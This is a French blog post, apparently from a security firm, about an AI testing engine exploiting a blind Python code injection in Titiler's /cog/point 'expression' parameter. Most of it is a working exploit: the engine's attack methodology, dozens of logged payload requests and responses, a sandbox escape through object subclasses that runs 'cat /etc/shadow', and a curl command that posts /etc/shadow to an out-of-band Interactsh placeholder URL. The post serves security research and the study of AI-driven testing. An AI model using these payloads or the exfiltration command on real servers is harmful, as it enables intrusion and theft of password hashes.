Automatiser la recherche en sécurité : un moteur IA exploite une injection de code aveugle complexe
La précision l'emporte sur la pulvérisation de payloads : le moteur IA d'Ostorlab parvient systématiquement à une RCE sur Titiler et prouve l'exfiltration sans la moindre stack trace.
L'exploitation traditionnelle des vulnérabilités peut consommer des jours, voire des semaines de test manuel avant d'aboutir à une exploitation réussie. Voir ces mêmes bugs exploités en quelques minutes par des systèmes IA spécialisés est profondément déstabilisant, en particulier quand ces systèmes démontrent des techniques d'exploitation différentes à chaque exécution.
Le moteur de test IA de Xbow a récemment identifié une vulnérabilité d'exécution de code Python dans Titiler, une application open source. Cette injection de code se distingue par sa complexité ; elle est loin d'être une vulnérabilité d'exécution simple et nécessite des payloads hautement personnalisés pour être exploitée avec succès.
Ce qui rend cette découverte particulièrement intrigante, c'est la marge de détection étroite. En y regardant de plus près, la vulnérabilité a été identifiée grâce à la présence d'un unique payload sophistiqué parmi des centaines testés. Sans ce payload spécifique dans l'arsenal de test, la vulnérabilité serait probablement restée non détectée.
Nous montrons ci-dessous comment la même vulnérabilité peut être découverte via une approche fondamentalement différente — qui construit méthodiquement le payload d'exploit pièce par pièce, révélant finalement des vecteurs d'exploitation inattendus.
Passer de « tomber sur un payload spécifique » à atteindre une détection systématique par apprentissage itératif a nécessité un raffinement poussé des system prompts et des améliorations significatives de notre architecture de context engineering.
L'approche systématique se déroule en phases distinctes :
Phase 1 : sondage initial
Commencez par tester les vulnérabilités d'injection directes et courantes avec ces payloads spécifiques pour comprendre comment le serveur traite votre entrée.
-
Détecter le parsing et la réflexion de l'entrée :
-
Payload :
a'"<>&z -
Pourquoi : pour voir comment les caractères spéciaux sont traités. Sont-ils reflétés tels quels, encodés en HTML, ou supprimés ? Cela aide à comprendre le contexte (par exemple HTML, JSON).
-
Détecter les contraintes de type et la gestion des erreurs :
-
Payload : si un paramètre attend un nombre (par exemple
id=123), envoyez une chaîne (id=abc). -
Pourquoi : une
TypeErrorou une erreur similaire révèle que le serveur traite l'entrée et peut donner des indices sur le langage et les frameworks backend. -
Détecter l'évaluation de code (mathématique) :
-
Payloads pour SSTI :
{{7*7}},${7*7},#{7*7} - Pourquoi : si le serveur répond avec
49, cela confirme qu'un moteur de template évalue l'entrée. C'est un indicateur fort de SSTI. - Payload pour évaluation directe :
1/0 -
Pourquoi : cela peut déclencher une
ZeroDivisionError, confirmant que des expressions brutes sont évaluées. C'est une étape clé pour identifier un oracle. -
Tenter une RCE directe :
-
Payload :
__import__('os').system('id') - Pourquoi : c'est l'objectif ultime. Si cela fonctionne, vous avez trouvé une vulnérabilité critique.
Si ces sondages initiaux révèlent une vulnérabilité, signalez-la avec le payload et la preuve. S'ils sont bloqués ou non concluants, utilisez les informations recueillies pour passer à la méthodologie principale ci-dessous.
Si un sondage réussit, la deuxième phase consiste à tenter une construction itérative du payload
Phase 2 : la méthodologie principale - construction itérative du payload
C'est votre méthode principale pour trouver et exploiter des vulnérabilités d'injection Python complexes. Quand les payloads simples échouent, vous utiliserez les réponses du serveur (en particulier les erreurs) comme oracle pour construire un payload fonctionnel pièce par pièce.
Le principe sous-jacent (pourquoi ça marche) : même dans des environnements Python fortement sandboxés où globals et __builtins__ sont restreints (comme eval(code, {'__builtins__':{}})), une échappatoire critique subsiste souvent : l'accès à la hiérarchie des objets. En partant d'un objet simple et inoffensif (comme une chaîne vide '' ou un tuple ()), vous pouvez récupérer sa classe, remonter l'arbre d'héritage jusqu'à la classe de base <class 'object'>, puis utiliser sa méthode __subclasses__(). Cela vous donne une liste de toutes les classes chargées en mémoire de l'application, fournissant de fait une carte vers des modules et fonctions intégrés puissants qui peuvent être utilisés pour obtenir une évasion complète du sandbox et une RCE. Les étapes suivantes mettent en œuvre exactement cette technique.
Étape 1 : identifier l'oracle (votre mécanisme de retour)
- Action : vous devez d'abord trouver un moyen d'obtenir un retour détaillé du serveur. Un message d'erreur est l'oracle parfait.
- Payloads :
{{ invalid_syntax' }},{{ 1/0 }} - Objectif : déclencher une erreur prévisible (par exemple une erreur 500 Internal Server Error avec une stack trace).
- Instruction : une fois que vous l'avez trouvé, indiquez clairement quel est l'oracle. Par exemple : « L'oracle est la traceback Jinja2 dans la réponse HTTP. »
Étape 2 : construire le payload de manière incrémentale à partir d'une base fonctionnelle
-
Vous DEVEZ construire votre payload étape par étape, en partant d'une base dont le bon fonctionnement est connu. Ne passez à l'étape suivante que lorsque vous avez confirmé que l'étape actuelle fonctionne. Chaque étape s'appuie sur la dernière qui a réussi. Si une étape échoue, vous devez analyser l'erreur et adapter votre approche avant de continuer.
-
Établir une base fonctionnelle : trouvez une expression simple que le serveur évalue sans erreur. C'est votre fondation.
- Incrément 1 : accéder à sa classe : depuis votre base fonctionnelle, accédez à un attribut.
- Incrément 2 : accéder à la classe de base
object: - Incrément 3 : trouver toutes les sous-classes :
- Incrément 4 : trouver une sous-classe utile pour la RCE : filtrez les sous-classes pour en trouver une dans un module utile comme
os. - Incrément 5 : accéder aux variables globales du module :
- Étape finale : exécuter une commande :
Sans un system prompt correctement structuré et un contexte adéquat, notre expérience montre que le moteur ne parvient pas à confirmer le problème. De plus, transmettre trop d'outils entraîne une dégradation de la qualité de détection. Voici comment le moteur se comporte.
Envoyez une requête avec une opération mathématique anodine dans le paramètre 'expression' pour vérifier si elle est évaluée par un interpréteur Python. L'objectif est d'observer si la réponse du serveur contient le résultat calculé (par exemple '49') au lieu de la chaîne d'origine (par exemple '7*7'), ce qui confirmerait l'évaluation de code.
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=7*7"' Output:
> GET /cog/point/0,0?url=a.tif&expression=7*7 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=1/0"' Output:
> GET /cog/point/0,0?url=a.tif&expression=1/0 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression='"' Output:
> GET /cog/point/0,0?url=a.tif&expression=' HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__('os').system('id')"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__('os').system('id') HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-w "%{time_total}" "http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__%28%27time%27%29.sleep%2810%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__%28%27time%27%29.sleep%2810%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[255.0],"band_names":["b1"]}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1/0"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1/0 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[1.7976931348623157e+308],"band_names":["b1/0"]}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27id%27%29%22%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D"' Output:
> GET /cog/point/0,0?url=a.tif&expression=%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'list'>"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=tuple%28c.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=tuple%28c.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='"http://REDACTED/cog/point/0,0?url=https......\&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"' Output:
> GET /cog/point/0,0?url=https...<omitted>...&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"https...<omitted>...: No such file or directory"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5B40%5D.__name__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5B40%5D.__name__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.shape"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.shape HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'shape'"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__name__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__name__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"data type must provide an itemsize"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%281%3D%3D1%2C+42%2C+99%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%281%3D%3D1%2C+42%2C+99%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%281%3D%3D1%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%281%3D%3D1%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[255.0],"band_names":["where(1==1, b1, b1*0)"]}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.any%28%29%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28b1.any%28%29%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'any'"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28len%28%27abc%27%29+%3D%3D+3%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28len%28%27abc%27%29+%3D%3D+3%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.__doc__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28b1.__doc__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'NoneType' object is not subscriptable"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[0.0],"band_names":["where(b1.__class__.__name__[0] == 'n', b1, b1*0)"]}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27m%27%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27m%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[0.0],"band_names":["where(b1.__class__.__name__[0] == 'm', b1, b1*0)"]}
Args='"http://REDACTED/cog/point/0,0?url=httpsa.tif\&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27a%27%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=httpsa.tif&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27a%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"a.tif: No such file or directory"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=7*7"' Output:
> GET /cog/point/0,0?url=a.tif&expression=7*7 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=1/0"' Output:
> GET /cog/point/0,0?url=a.tif&expression=1/0 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'type'>"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'type'>"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D.__subclasses__()"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D.__subclasses__() HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'list'>"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27Popen%27%5D%5B0%5D%28%27cat+%2Fetc%2Fshadow%27%2C+shell%3DTrue%2C+stdout%3D-1%29.communicate%28%29%5B0%5D.decode%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='"http://REDACTED/cog/point/0,0?url=httpsa.tif\&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"' Output:
> GET /cog/point/0,0?url=httpsa.tif&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"a.tif: No such file or directory"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%5B0%3A10%5D%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%5B0%3A10%5D%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'builtin_function_or_method' object is not iterable"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%5B132%5D.__name__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%5B132%5D.__name__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'builtin_function_or_method' object is not subscriptable"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.tobytes.__globals__.get%28%27__builtins__%27%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.tobytes.__globals__.get%28%27__builtins__%27%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'tobytes'"}
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"data type must provide an itemsize"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=raise+Exception%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=raise+Exception%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=getattr%28b1%2C+open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=getattr%28b1%2C+open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=numpy.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'array'"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__%28%27numpy%27%29.array%28list%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__%28%27numpy%27%29.array%28list%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__%28%27numpy%27%29.array%28list%28__import__%28%27os%27%29.name%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__%28%27numpy%27%29.array%28list%28__import__%28%27os%27%29.name%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__init__.__globals__%5B%27numpy%27%5D.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
Args='"http://REDACTED/cog/point/0,0?url=https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif\&expression=np.array(%5B1,+2,+3%5D)"' Output:
> GET /cog/point/0,0?url=https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif&expression=np.array(%5B1,+2,+3%5D) HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif: No such file or directory"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=np.array(%5B1,2,3%5D)"' Output:
> GET /cog/point/0,0?url=a.tif&expression=np.array(%5B1,2,3%5D) HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.mean%28%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.mean%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'mean'"}
> GET /cog/point/0,0?url=a.tif&expression=%22%22.__class__.__mro__%5B1%5D.__subclasses__()%5B132%5D.__init__.__globals__%5B%22__builtins__%22%5D%5B%22eval%22%5D(%22__import__(%27os%27).system(%27id%27)%22)+and+b1 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'wrapper_descriptor' object has no attribute '__globals__'"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=str%28%5Bc.__name__+for+c+in+%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B%3A10%5D%5D%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=str%28%5Bc.__name__+for+c+in+%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B%3A10%5D%5D%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=7*7"' Output:
> GET /cog/point/0,0?url=a.tif&expression=7*7 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=1/0"' Output:
> GET /cog/point/0,0?url=a.tif&expression=1/0 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[255.0],"band_names":["b1"]}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__('os').system('id')"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__('os').system('id') HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__('time').sleep(10)"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__('time').sleep(10) HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=globals()"' Output:
> GET /cog/point/0,0?url=a.tif&expression=globals() HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=1"' Output:
> GET /cog/point/0,0?url=a.tif&expression=1 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1;__import__('os').system('ls')"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1;__import__('os').system('ls') HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__init__.__globals__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__init__.__globals__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'dict'>"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=str(b1.__init__.__globals__)"' Output:
> GET /cog/point/0,0?url=a.tif&expression=str(b1.__init__.__globals__) HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27cat+%2Fetc%2Fshadow%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=b1.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27cat+%2Fetc%2Fshadow%27%29%22%29 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[0.0],"band_names":["b1.__init__.__globals__['__builtins__']['eval'](\"__import__('os').system('cat /etc/shadow')\")"]}
Nous avons volontairement conservé toutes les requêtes dans leur forme originale pour démontrer comment le moteur a affiné son approche de manière itérative en fonction des réponses reçues.
Cette étude de cas valide un concept émergent que nous avons adopté : traiter les LLM comme des environnements d'exécution où les system prompts fonctionnent comme du code exécutable.
Considérez cet exemple illustratif :
Approche 1 : calcul direct
- System Prompt : « Vous êtes un expert mondial en mathématiques »
- Résultat : le LLM tente de calculer les opérations mathématiques en interne, ce qui peut introduire des erreurs de calcul
Approche 2 : génération et exécution de code
- System Prompt : « Convertissez les problèmes mathématiques en code Python, exécutez-le via des outils, et retournez des résultats vérifiés »
- Résultat : le LLM génère du code déterministe, l'exécute via des outils externes, et retourne des résultats précis et reproductibles
Cette différence fondamentale en prompt engineering démontre que la manière dont vous instruisez un agent pour accomplir une tâche a des implications profondes sur la qualité et la fiabilité du résultat.
En appliquant cette méthodologie à notre scénario de détection de vulnérabilité, le moteur a confirmé avec succès la présence de la vulnérabilité dès sa première tentative systématique, un contraste frappant avec les approches de fuzzing traditionnelles qui peuvent nécessiter des milliers d'itérations.
Vulnérabilité trouvée : injection de code Python aveugle
Résumé de la vulnérabilité
Une vulnérabilité d'injection de code Python aveugle a été identifiée dans le paramètre 'expression' de l'endpoint '/cog/point'. Le serveur évalue l'expression fournie mais ne retourne pas la sortie de la commande dans la réponse HTTP. À la place, c'est le code de sortie de la commande exécutée qui est retourné, lequel vaut '0' en cas d'exécution réussie. Cela confirme que la commande a été exécutée, mais les résultats doivent être exfiltrés via une méthode out-of-band.
Preuve de concept
La vulnérabilité a été confirmée en envoyant le payload suivant :
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")
Le serveur a répondu avec un statut 200 OK et {"values":[0.0]}, où 0.0 est le code de sortie de l'appel os.system, ce qui prouve l'exécution.
Preuve d'exploitation
Pour exfiltrer le fichier /etc/shadow, j'utiliserai une URL Interactsh pour capturer la sortie d'une commande curl.
Payload d'exfiltration :
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
Étapes de reproduction
- Démarrez une session Interactsh pour obtenir une URL unique.
- Encodez en URL le payload d'exfiltration avec l'URL Interactsh.
- Envoyez une requête GET vers l'endpoint vulnérable avec le payload encodé dans le paramètre 'expression'.
- Vérifiez la session Interactsh pour une requête POST entrante. Le corps de cette requête contiendra le contenu du fichier /etc/shadow.
Vulnerability Confirmation:
The server executes the os.system call, and the exit code (0) is returned in the 'values' field of the JSON response, confirming blind command execution.
Exfiltration Payload:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
Étape suivante : exploiter :
Exécutez le payload d'exfiltration out-of-band pour envoyer le contenu du fichier /etc/shadow à un serveur externe contrôlé. L'objectif est de confirmer que la vulnérabilité peut être exploitée pour voler des données sensibles en vérifiant que le contenu du fichier est reçu sur le serveur à l'écoute.
Vulnérabilité trouvée : injection de code Python aveugle
Résumé de la vulnérabilité
Une vulnérabilité d'injection de code Python aveugle a été identifiée dans le paramètre 'expression' de l'endpoint '/cog/point'. Le serveur évalue l'expression fournie mais ne retourne pas la sortie de la commande dans la réponse HTTP. À la place, c'est le code de sortie de la commande exécutée qui est retourné, lequel vaut '0' en cas d'exécution réussie. Cela confirme que la commande a été exécutée, mais les résultats doivent être exfiltrés via une méthode out-of-band.
Preuve de concept
La vulnérabilité a été confirmée en envoyant le payload suivant :
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")
Le serveur a répondu avec un statut 200 OK et {"values":[0.0]}, où 0.0 est le code de sortie de l'appel os.system, ce qui prouve l'exécution.
Exfiltration bloquée par un échec d'outil
Pour exfiltrer le fichier /etc/shadow, une méthode out-of-band (OOB) est nécessaire. La méthode prévue était d'utiliser une URL Interactsh pour capturer la sortie d'une commande curl. Cependant, l'outil start_interactsh_session échoue systématiquement à s'initialiser, empêchant la génération d'une URL pour l'exfiltration de données.
Payload d'exfiltration prévu :
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
